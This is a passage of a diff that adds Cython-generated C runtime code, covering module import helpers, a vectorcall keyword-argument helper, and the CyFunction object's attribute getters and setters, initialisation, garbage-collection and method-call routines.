{ + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__46; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__47); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if 